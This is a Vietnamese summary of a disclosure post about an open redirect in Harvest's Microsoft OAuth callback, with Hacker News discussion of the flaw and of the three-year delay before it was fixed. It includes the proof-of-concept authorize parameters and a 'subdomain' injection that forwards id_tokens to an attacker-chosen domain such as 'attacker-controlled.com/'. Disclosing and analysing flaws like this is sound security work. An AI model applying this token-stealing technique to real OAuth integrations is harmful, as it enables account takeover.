Có thể đánh cắp token OAuth của tài khoản Microsoft thông qua lỗ hổng open redirect trong ứng dụng Harvest
(eval.blog)- Trong luồng kết nối Outlook Calendar OAuth của Harvest, URL callback lại chuyển hướng tiếp tới đích trong giá trị
state, gây ra open redirect; khi kết hợp với luồng cấp quyền ngầm định, token có thể bị lộ sang URL bên ngoài - Vấn đề không nằm ở Microsoft mà ở phía tích hợp của Harvest; OAuth
redirect_uriđã đăng ký trở thành một điểm trung chuyển chuyển hướng đưa người dùng tới tên miền do kẻ tấn công chỉ định statelà JSON được mã hóa URI, và nếu chèn một tên miền bên ngoài có dấu gạch chéo nhưexample.com/vàosubdomain, luồng sẽ chuyển tới dạngexample.com/.harvestapp.com/...- PoC cho thấy trong URL authorize OAuth của Microsoft, khi dùng
client_id=0dcef4db-36d8-4aed-9cc5-ab43e1814884,response_type=id_token,response_mode=fragment,scope=openid, mảnh#id_token=...sẽ được gắn vào đích chuyển hướng - Lỗ hổng được báo cáo ngày 23/8/2020, bản vá được xác nhận ngày 1/8/2023, và đến 22/10/2023 Harvest đã xin lỗi vì sự chậm trễ do human error
Luồng rò rỉ token trong callback OAuth
- Harvest là phần mềm theo dõi thời gian cho phép người dùng kết nối Outlook Calendar qua OAuth
- Khi cấp quyền thành công, người dùng sẽ được chuyển hướng tới
https://outlook-integration.harvestapp.com/auth/outlook-calendar/… - Callback này lại tiếp tục chuyển người dùng tới URL được cung cấp trong
state, và trong quá trình đó phát sinh open redirect - Giá trị
statetrong URL callback được xác nhận ban đầu là JSON mã hóa URI- Khi giải mã sẽ có dạng
{"return_to":"/","subdomain":"hackerone295"} - Giá trị
subdomainđược dùng để suy ra không gian ứng dụng Harvest nhưhackerone295.harvestapp.com
- Khi giải mã sẽ có dạng
- Nếu thêm dấu gạch chéo vào
subdomainnhưexample.com/, URL callback sẽ chuyển sang một tên miền bên ngoài - URL callback này là redirect_uri đã đăng ký cho ứng dụng OAuth, nên khi kết hợp open redirect với luồng cấp quyền ngầm định, token có thể bị lộ tới đích chuyển hướng
- URL authorize PoC dùng các giá trị sau
client_id=0dcef4db-36d8-4aed-9cc5-ab43e1814884response_type=id_tokenredirect_uri=https://outlook-integration.harvestapp.com/auth/outlook-calendar/…?...scope=openidresponse_mode=fragmentstate=1nonce=123456
- Cuối cùng người dùng sẽ bị chuyển hướng tới dạng sau
https://example.com/.harvestapp.com/auth/… access token]&state=1
- Đây không phải là lỗ hổng ở phía Microsoft
Thời gian từ lúc báo cáo đến khi vá
- Trong quá trình công bố lỗ hổng và vá lỗi, nhóm Harvest phản hồi rất ít và dù đã xác nhận lỗ hổng ở bước triage, việc sửa lỗi vẫn mất rất nhiều thời gian
- Lỗ hổng được báo cáo ngày 23/8/2020, và đến 16/10/2020 Harvest mới liên hệ lần đầu
- Ngày 27/11/2020, báo cáo được chuyển sang trạng thái triaged
- Ngày 28/4/2022, công ty cho biết đang sửa và ước tính mất 2 tuần, nhưng trên thực tế phải mất thêm khoảng 1 năm nữa mới hoàn tất
- Ngày 1/8/2023 xác nhận lỗ hổng đã được vá
- Ngày 21/10/2023, báo cáo được công khai qua một bài viết công bố
- Tính đến cùng ngày đó, báo cáo vẫn ở trạng thái triage; dù chính sách bug bounty có đề cập phần thưởng, không có bounty hay điểm HackerOne nào được trao
- Sau khi bài viết thu hút chú ý vào ngày 22/10/2023, Harvest đã giải thích và xin lỗi rằng sự chậm trễ là do human error
1 bình luận
Ý kiến trên Hacker News
Với tư cách là người phụ trách chương trình bug bounty, tôi sẽ giải thích chuyện gì đã xảy ra nội bộ. Tôi đã xin lỗi @0xcrypto và giải thích nội bộ rồi, nhưng tôi nghĩ cũng nên tóm tắt lại ở đây
Ngay từ đầu chúng tôi đã không thể tái hiện hoàn toàn vấn đề này, và cũng không thể đóng lại vì sợ đã bỏ sót điều gì đó. Ngay sau lần cuối cùng trả lời rằng “sẽ tìm giải pháp”, chúng tôi đã gần đi đến kết luận là không thể tái hiện; rồi khi có một báo cáo liên quan đến OAuth tương tự được gửi đến, nội bộ đã bị nhầm lẫn và tôi tưởng rằng vấn đề này đã được xử lý và chuyển tiếp rồi
Do thiết lập thông báo, tôi đã bỏ lỡ các tin nhắn tiếp theo, và issue bị để ở trạng thái Triage vô thời hạn mà không có cập nhật. Đây không phải là lời bào chữa; tôi từng làm bug bounty hunter trong thời gian dài nên hiểu rất rõ việc phải chờ cập nhật từ công ty khó chịu đến mức nào. Bảo mật khách hàng là ưu tiên hàng đầu, và những gì ghi trên trang bảo mật là sự thật
Hơn nữa, hiện cũng chưa rõ sẽ xử lý thế nào với một báo cáo không còn tái hiện được nữa. Tôi muốn thảo luận thêm trên HackerOne, nhưng sau tin nhắn xin lỗi thì có vẻ lại không phản hồi
Trạng thái ứng dụng thường xuyên lệch với trạng thái máy chủ; thay đổi trên máy chủ chỉ hiện ra sau khi buộc làm mới, hoặc thay đổi trên client sau khi lưu lại bị hoàn tác. Trải nghiệm theo dõi thời gian cũng bất tiện: nút phải cuộn mới thấy, hoặc vị trí các nút bắt đầu/dừng/khởi động lại/xóa cứ thay đổi theo trạng thái của mục. Ứng dụng cũ tuy không đẹp nhưng chạy không vấn đề gì
Khá đáng lo. Khi tôi dùng Harvest, bộ phận hỗ trợ thật sự tuyệt vời, phản hồi nhanh, hiểu rất chi tiết cách khách hàng dùng sản phẩm, và còn giải thích cặn kẽ cách tận dụng sáng tạo các tính năng hiện có
Với tính năng chưa được triển khai, câu trả lời là “sẽ đưa vào backlog nhưng không đảm bảo”. Họ ghi có 30 người ở mảng kỹ thuật [1], nhưng tôi không rõ lực lượng đó được dùng vào đâu, vì tôi cũng không thấy các tính năng khác ra mắt nhanh
Tôi bắt đầu nhận spam với tư cách “người dùng Harvest” nên nghi ngờ họ đã bán danh sách khách hàng; các lãnh đạo công ty lập tức kết nối, phủ nhận mạnh mẽ và xử lý nghiêm túc đến mức điều tra ngay. Điều đó thì tốt
Nhưng rốt cuộc đây cũng có vẻ là vấn đề kỹ thuật. Tôi phát hiện một cách khá dễ để ước tính số khách hàng đang hoạt động, và việc này cũng được đưa vào “backlog” rồi nhiều tháng vẫn chưa sửa. Bản sửa trông có vẻ rất nhỏ. Ngoài ra, MFA chỉ được cung cấp khi đăng nhập bằng Google [2]. Dù vậy, bản thân ứng dụng làm rất tốt việc nó cần làm
1: https://www.getharvest.com/about/meet-the-team
2: https://support.getharvest.com/hc/en-us/articles/36005266713...
Việc giao tiếp bị lệch với người báo cáo trong thread này hoàn toàn là lỗi của tôi, và như đã giải thích trong phản hồi phía trên, tôi sẽ đảm bảo chuyện này không tái diễn
Một số yêu cầu tính năng thậm chí đã được đưa vào sản phẩm thật. Có thể không phải do ảnh hưởng của tôi, nhưng ít nhất có vẻ chúng tôi có cùng suy nghĩ về một công cụ theo dõi thời gian tốt
Tiêu đề có vẻ khá bất công với Microsoft. Nó tạo cảm giác đang tận dụng việc Microsoft bị chú ý vì các sự cố xác thực gần đây; vừa thấy tiêu đề tôi đã nghĩ “lại là một vụ xâm nhập MS nữa à”
Thực tế đó là token của Harvest, và do lỗ hổng injection trong mã của Harvest nên chỉ quyền truy cập ứng dụng Harvest bị lộ sai cách. Nếu nó nằm sau bất kỳ nhà cung cấp định danh nào khác thì cũng sẽ dễ bị tấn công y như vậy
Lý do là lỗ hổng này chỉ ảnh hưởng đến triển khai OAuth dùng để liên kết tài khoản Microsoft. Tiêu đề ban đầu là “Microsoft OAuth token leak via open redirect in Harvest App”, sau đó tôi đổi thành “Microsoft Account's OAuth tokens leaking via open redirect in Harvest App”. Tôi vẫn sẵn sàng đổi tiếp và hoan nghênh đề xuất
RFC 6749 trình bày chi tiết cách máy chủ ủy quyền ngăn chặn kiểu tấn công này
Máy chủ ủy quyền bắt buộc phải yêu cầu đăng ký URI chuyển hướng đối với public client, và cũng nên yêu cầu với confidential client. Nếu yêu cầu có cung cấp URI chuyển hướng, máy chủ ủy quyền phải kiểm tra bằng cách đối chiếu với giá trị đã đăng ký
Vậy thì hẳn ứng dụng Harvest không đăng ký
redirect_uriđộc hại, nên tôi thắc mắc chuyện này có thể xảy ra như thế nào. Có phải máy chủ OAuth của Microsoft bỏ qua các tham số URL bên trongredirect_urikhi so sánh với URI chuyển hướng đã đăng ký của OAuth client không?state. Có lẽ mục đích là để chuyển hướng đến bất cứ đâuLuồng dự định có lẽ là đi tới URL xác thực của Harvest → chuyển hướng sang URL xác thực của Microsoft kèm
redirect_uri=registered_urivàstate=some_encoded_final_uri→ người dùng nhập thông tin đăng nhập → chuyển hướng về URI đã đăng ký → đọcstaterồi lại chuyển hướng tới URI bên trong đóCuộc tấn công này vẫn chuyển hướng về URI được cho phép, nhưng endpoint đó đọc
statevà chuyển tiếp nguyên phản hồi/token. Có ba sai lầm: lạm dụngstate, nếu đã lạm dụng thì lại không mã hóa và xác minhstate, và bật implicit grant. Nếu cần, lẽ ra họ phải tạo một đăng ký riêng cho mục đích hạn chếredirect_uricủa Harvest đã được đăng ký với Microsoft. Sau khi máy chủ OAuth của Microsoft chuyển hướng về Harvest, Harvest triển khai cơ chế chuyển hướng riêng dựa trên dữ liệu trongstateImplicit grant khá tệ vì những lý do như bài viết này cho thấy
Nhân tiện, nó dự kiến sẽ bị loại bỏ trong đặc tả OAuth 2.1 sắp tới: https://www.ietf.org/archive/id/draft-ietf-oauth-v2-1-09.htm...
Ý là mất 3 năm để sửa lỗ hổng à? Từ tháng 8/2020 đến tháng 8/2023, tôi không biết quy mô đội Harvest thế nào nhưng dù sao cũng có vẻ quá vô lý
Mong có chuyên gia OAuth giải thích vấn đề này chi tiết hơn một chút. Tôi đã đọc blog vài lần nhưng vẫn chưa hiểu lỗ hổng thực sự
Với kiến thức OAuth rất hạn chế của tôi, chẳng phải ứng dụng Harvest yêu cầu Microsoft xác minh người dùng, Microsoft xác minh xong người dùng, rồi nếu thành công thì chuyển hướng về callback URL và truyền access token trong phần thân phản hồi sao?
Trong trường hợp này, chẳng phải tác giả blog chỉ tạo một URL tự chế khiến URL trả về đi tới example.com thay vì URL trả về thực tế thôi sao?
harvestapp, còn phần kẻ tấn công kiểm soát nằm trongstate, thứ gần như mờ đối với máy chủ OAuthDùng URL đó, có thể gửi cho ai đó một liên kết
login.microsoftonline.com, hiển thị lời nhắc đăng nhập “đăng nhập vào Harvest”, rồi kẻ tấn công có thể nhận được quyền liên quan đến tài khoản Harvest thậtThông thường thì điều này là không thể. Kẻ tấn công có thể đăng ký một ứng dụng mới chuyển hướng tới
example.com, nhưng khi đó sẽ không lấy được access token chứa quyền liên quan đến Harvest nên vô dụngỨng dụng OAuth phía Microsoft có danh sách cho phép chuyển hướng hợp lệ, nên các thử như
login.microsoftonline.com/authorize?client_id=$harvestAppID&redirect_uri=attacker.comsẽ bị Microsoft báo lỗi. Cuộc tấn công khả thi vì URLoutlook-integration.harvestapp.comhợp lệ nhận access token, rồi lại chuyển hướng sang trang của kẻ tấn công và chuyển cả access token theooutlook-integration.harvestapp.com. Sau khi callback OAuth2 thành công, họ dùng một đối tượng JSON chứa chỉ dẫn cần thực hiện làmstateThuộc tính
subdomainđược dùng để chuyển hướng trình duyệt tới một subdomain củaharvestapp.comkèm#id-token. Vấn đề là giá trịsubdomainđược chèn nguyên xi vào URL bên dướihttps://${subdomain}.harvestapp.com/...#id-token=...
Nếu đặt
subdomaintrong payload JSON thành một giá trị có dấu gạch chéo ở cuối nhưattacker-controlled.com/, URL sẽ trở thànhhttps://attacker-controlled.com/.harvestapp.com/...#id-token=.., và khi trình duyệt chuyển sang domain khác, token sẽ bị rò rỉVì vậy đây không phải là vấn đề ngầm định của bản thân OAuth, mà là triển khai kém
Khi thiết lập workflow, thay vì tạo danh sách thực tế các callback URL đáng tin cậy, có khả năng họ đã dùng wildcard trong danh sách cho phép callback URL. Tôi cũng có thể hoàn toàn sai
Không hiểu vì sao lại chờ tới 3 năm. Thời gian gia hạn trước khi công khai chỉ cần 90 ngày là đủ
Tuy nhiên, việc gia hạn thêm như vậy phải được nhà nghiên cứu hoặc luật sư/đại diện của họ cho phép. Đây là kiểu yêu cầu mà công ty có thể thiện chí đưa ra đối với những vụ việc lớn hơn bình thường
Nếu HackerOne để các công ty ngâm những việc như thế này tới 3 năm, thì có vẻ họ không làm đúng vai trò của mình
Ở mức cơ bản nhất, họ chỉ cung cấp một nền tảng công khai lỗ hổng và các điều khoản pháp lý tiêu chuẩn để nhà nghiên cứu không bị đội pháp lý kiện
Trong hầu hết trường hợp, các công ty từ chối yêu cầu công khai. Nếu nhà nghiên cứu công khai mà không được phép, họ vi phạm thỏa thuận với HackerOne và công ty, đồng thời đối mặt với trách nhiệm pháp lý. Trong trường hợp này, có vẻ công ty đã đồng ý công khai, và dù phản hồi rất chậm, tôi nghĩ điểm đó cũng đáng ghi nhận
Cá nhân tôi cũng từng nhiều lần gặp các lỗi có mức thưởng bốn chữ số nhưng không được sửa trong hơn một năm, nhưng tôi không nghĩ đó là lỗi của HackerOne
HackerOne không quan tâm. Dù đã nhiều lần thông báo rằng người đó vi phạm quy tắc của họ, họ nói không thể làm gì
Cảm giác như một công ty từng được đưa vào trạng thái vận hành bình thường rồi bị cắt giảm chỉ còn nhân sự tối thiểu, với các nhân viên hỗ trợ không có thẩm quyền trả lời câu hỏi. Chuyện đã khá lâu nên giờ có thể đã khác, nhưng ấn tượng lúc đó là vậy
Nếu các công ty cảm thấy HackerOne vượt quá giới hạn và quyết định “cho phép” họ phải làm gì, họ sẽ đơn giản rời HackerOne và xây dựng giải pháp nội bộ
Không hiểu vì sao vấn đề này không được chuyển cho Microsoft. Microsoft lẽ ra có thể thu hồi quyền truy cập của ứng dụng OAuth này cho đến khi vấn đề được khắc phục
Tuy nhiên, có lẽ trên Microsoft có hàng nghìn triển khai tệ tương tự được kết nối bằng OAuth